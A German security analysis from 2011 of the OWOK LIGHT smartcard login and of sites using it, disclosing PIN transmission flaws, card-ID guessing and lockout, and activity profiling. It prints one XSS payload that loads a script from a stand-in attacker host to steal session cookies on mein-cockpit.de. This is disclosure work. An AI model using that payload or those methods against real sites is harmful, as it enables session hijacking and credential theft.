

Kurze Sicherheitsanalyse von OWOK LIGHT

Micha Borrmann

18. Januar 2011

Zusammenfassung

Die der COMPUTER BILD 26/2010 beiliegende OWOK LIGHT Karte sowie einige der verfügbaren Anwendungen wurden untersucht. Dabei wurden einerseits Schwächen bei der Nutzung von OWOK LIGHT erkannt als auch spezifische Fehler bei Anwendungen, die OWOK LIGHT verwenden. Der Artikel zeigt primär die gefundenen Mängel auf. Positiv zu erwähnen ist, dass zahlreiche der aufgezeigten Probleme kurzfristig behoben wurden.

1 Einleitung

Im Rahmen des IT-Investitionsprogramms aus dem Konjunkturpaket II verbreitete die Zeitschrift COMPUTER BILD am 4. Dezember 2010 ein „IT-Sicherheitskit“. Der der Zeitschrift beiliegende Kartenleser ist geeignet, um den neuen Personalausweis (nPA) im Internet zu verwenden. Um auch Nutzern, welche noch keinen nPA haben, einige der Möglichkeiten des nPA bereitzustellen, lag dem Paket eine OWOK LIGHT Karte¹ bei. Laut den von der Beauftragten der Bundesregierung für Informationstechnik beiliegenden Informationen auf Seite 4 gilt auch für OWOK LIGHT:

- Authentifizierung durch Smartcard und PIN
- Maximaler Datenschutz
- Hochsichere Verschlüsselung

Die Zeit zwischen dem 27. und 30. Dezember 2010 wurde genutzt, um OWOK LIGHT zu analysieren. Die Analyse erhebt nicht den Anspruch auf Vollständigkeit.

¹auch COMPUTER BILD loginCard genannt

2 Verwendung von OWOK LIGHT (API aus Nutzersicht)

Die Nutzung erfordert die Registrierung und das Setzen einer PIN auf der Webseite <https://cardlogin.reiner-sct.com/>. Bei der Analyse wurde festgestellt, dass die PIN zu cardlogin.reiner-sct.com gesendet wird. Auch bei der Anmeldung an <http://www.computerbild.de/> und <https://www.mein-cockpit.de/> wird die PIN an die jeweiligen Systeme² geschickt. Dies widerspricht dem Wesen einer Persönlichen Identifikationsnummer (PIN) grundsätzlich!

Neben der PIN hat jede Karte eine eindeutige, numerische ID. Die Kenntnis der Karten-ID und der PIN reicht nicht aus, um sich an Anwendungen anzumelden, da nach der kurzen Analyse zwingend die zur Karten-ID gehörende OWOK LIGHT Karte verwendet werden muss.

Allerdings konnte mit diesen Informationen die PIN einer Karte geändert werden, da zum Ändern der PIN die Karte nicht benötigt wurde. Defacto konnte man damit einen Benutzer von der Nutzung seiner OWOK LIGHT Karte aussperren, denn auch beim Ändern der PIN muss die existierende PIN eingegeben werden, und im Falle einer Falscheingabe reduzierte sich die Anzahl der vorhandenen PIN-Eingabeversuche.

Ebenfalls unter ausschließlicher Kenntnis der Karten-ID kann bei den einzelnen Anwendungen (namentlich www.computerbild.de und www.mein-cockpit.de) festgestellt werden, wann die spezifische Karte zuletzt verwendet wurde. Hier ein gekürzter Datensatz einer Karte (von www.mein-cockpit.de):

```
"REGISTER_TIME":"06.12.2010 17:31:53" "LAST_CHECK":"29.12.2010 17:56:07"  
"LOGIN_OK_COUNT":15 "LOGIN_FAIL_COUNT":0
```

Der betreffende Benutzer hat sich demnach am 06.12.2010 bei www.mein-cockpit.de registriert und sich am 29.12.2010 zuletzt angemeldet. Insgesamt erfolgten 15 Anmeldeversuche. Auch wenn keine personenbezogenen Daten zugeordnet werden können, lassen sich Profile einzelner Karten-IDs generieren, wohlgemerkt, ohne die Karte zu besitzen oder in sonstiger Weise sich gegenüber mit OWOK LIGHT zu authentifizieren!

Die Karten-ID selbst ist eine 14 Zeichen lange Hexadezimalzahl, die beispielsweise für die eigene Karte im Benutzerprofil unter https://www.computerbild.de/user/stammdaten_13329.html bequem eingesehen werden kann. Da die Informationen einer verwendeten Karte (s.o.) unter ausschließlicher Kenntnis der Karten-ID übermittelt werden, wurden während der Analyse gültige Karten-IDs erraten³. Diese Karten hätten gesperrt werden können, wenn für diese wiederholt eine PIN-Änderung durchgeführt worden wäre.

Auch wenn die PIN verschlüsselt übertragen wird, lassen sich *Man-in-the-Middle*-Angriffe mit üblichem Aufwand durchführen.

²im konkreten Fall zu www.computerbild.de bzw. www.mein-cockpit.de

³normalerweise ist ein 56 Bit Wert nicht einfach über das Internet durchsuchbar; die für Tests verfügbare Karte hatte jedoch eine Karten-ID, welche von der unter <http://sebastianschaper.net/index.php/archives/13> publizierten Karten-ID in 5 von 7 Bytes übereinstimmte, so dass ein Zeichenraum von 16 Bit durchsucht wurde (in welchem über 1.000 gültige Karten-IDs gefunden wurden)

Eine überarbeitete Lösung sollte daher folgende Schwachstellen beheben:

- Übermittlung der PIN an alle teilnehmenden Anwendungen; die PIN sollte überhaupt nicht über das Netzwerk übertragen werden
- Erstellung von Aktivitätsprofilen Dritter (bereits bei <https://cardlogin.reiner-sct.com/> behoben, für die anderen auf OWOK LIGHT aufsetzenden Systeme wird dies aussagegemäß demnächst ebenfalls behoben)
- Ändern der PIN ohne die zugehörige Karte zu haben (bereits behoben)
- Zwingende Verschlüsselung der übertragenen Daten
- Fehlerhafte PIN Eingaben dürfen nur möglich sein, wenn die Karte verwendet wird, so dass Dritte unter ausschließlicher Kenntnis der Karten-ID keine Karten sperren können (bereits behoben)

Als Fazit der Nutzung von OWOK LIGHT sollte die PIN eher mit der CVV einer Kreditkarte verglichen werden. Auch diese wird zu Stellen gesendet, die Kreditkartenzahlung anbieten. Das Achten auf HTTPS-Verschlüsselung und ein gewisses Maß an Vertrauen des Anbieters sollte bei Kreditkartenbezahlung im Internet selbstverständlich sein. Ähnliches gilt für die Nutzung von OWOK LIGHT.

3 Sicherheitsmängel von Anwendungen, die OWOK LIGHT verwenden

3.1 COMPUTER BILD

Da die PIN zu www.computerbild.de unverschlüsselt übertragen wird, besteht ein erhebliches Sicherheitsrisiko, wenn beispielsweise unverschlüsselte, öffentliche WLANs verwendet werden! Dies ist ein Widerspruch zur Aussage „Hochsichere Verschlüsselung“.

Weiterhin will der Browser bei der Anmeldung an <http://www.computerbild.de/> standardmäßig die PIN im Browserspeicher hinterlegen.

Auf <http://www.computerbild.de/> sollte HTTPS zur Anmeldung am Forum verwendet und HTML autocomplete deaktiviert werden.

3.2 Mein Cockpit

Bei dieser Anwendung wurden besonders viele Schwachstellen entdeckt. Lediglich ein Konto von GMX wurde integriert. Die Zugangsdaten für den GMX-Mailzugang werden dabei bei www.mein-cockpit.de in einer wiederherstellbaren Form gespeichert, denn wenn man auf der Seite dem Link zu GMX folgt, erhält man seine eigenen Daten von www.mein-cockpit.de zurück, wobei der Browser diese dann automatisch zu GMX sendet, um sich anzumelden.



Während die webbasierte Darstellung bei GMX folgenden *Cross-Site Scripting* (XSS)-Angriff vereitelt, stellte das *Widget* für GMX von `www.mein-cockpit.de` den folgenden Absendernamen ungefiltert dar:

```
<script src=https://angriff.de/xss.js></script>Max Mustermann
```

Da die notwendigen Session-Cookies nicht durch das Attribut `HttpOnly` geschützt sind, konnten diese erfolgreich ausgelesen werden. Dazu musste lediglich eine E-Mail an die GMX-Adresse eines Nutzers von `www.mein-cockpit.de` gesendet werden und wenn der Nutzer sich auf `www.mein-cockpit.de` anmeldete, so wurde durch die XSS-Verwundbarkeit das Session-Cookie des Nutzers zum Angreifer geschickt. Mit Hilfe dieses Cookies kann der Angreifer sich an `www.mein-cockpit.de` anmelden und die Zugangsdaten von GMX in unverschlüsselter Form auslesen. Ein Kartenleser oder ein Zugang für die Analyse der Schwachstelle notwendig, nicht aber für den eigentlichen Diebstahl der Zugangsdaten. Dies alles war auch möglich, nachdem sich ein Benutzer von `www.mein-cockpit.de` abgemeldet hat, da kein serverseitiges Logout mit gleichzeitigem Sperren des Session-Cookies erfolgte. Auch ist die Lösung nicht gegen Login-Sharing geschützt, d.h. ein Benutzer kann gleichzeitig mehrfach angemeldet sein. Bei einer kartenbasierten Authentifikation ist dies unüblich und sollte abgestellt werden. Ebenfalls sollte das Setzen des Attributs `HttpOnly` für das Session-Cookie auch erfolgen, um das Stehlen fremder Sessions zu verhindern.

Auch wenn diese Probleme behoben sind, bleibt die Tatsache bestehen, dass bei `www.mein-cockpit.de` die Daten der hinterlegten Zugänge vom Client aus abgerufen werden können und dadurch im Missbrauchsfall des Zugangs zur Seite alle Accounts als kompromittiert zu betrachten sind. Die gefundenen Probleme haben mit OWOK LIGHT nichts zu tun und sind in vergleichbarer Form auch auf `http://www.allyve.com/` anzutreffen.

4 Fazit

Die teilweise unverschlüsselte Übertragung von PIN und Karten-ID ist ein Sicherheitsproblem. Prinzipiell können diese Informationen bei den Anbietern gespeichert werden, so dass die PIN besser wie eine CVV bei einer Kreditkarte zu betrachten ist. Benutzer von nPA und OWOK LIGHT sollten dringend darauf achten, für die PIN bei OWOK LIGHT nicht denselben Wert wie beim nPA zu verwenden!

Die Probleme bei `www.mein-cockpit.de` zeigten erneut, dass trotz Zwei-Faktor-Authentisierung und zahlreicher Sicherheitszertifikate gravierende Sicherheitsprobleme bestehen können.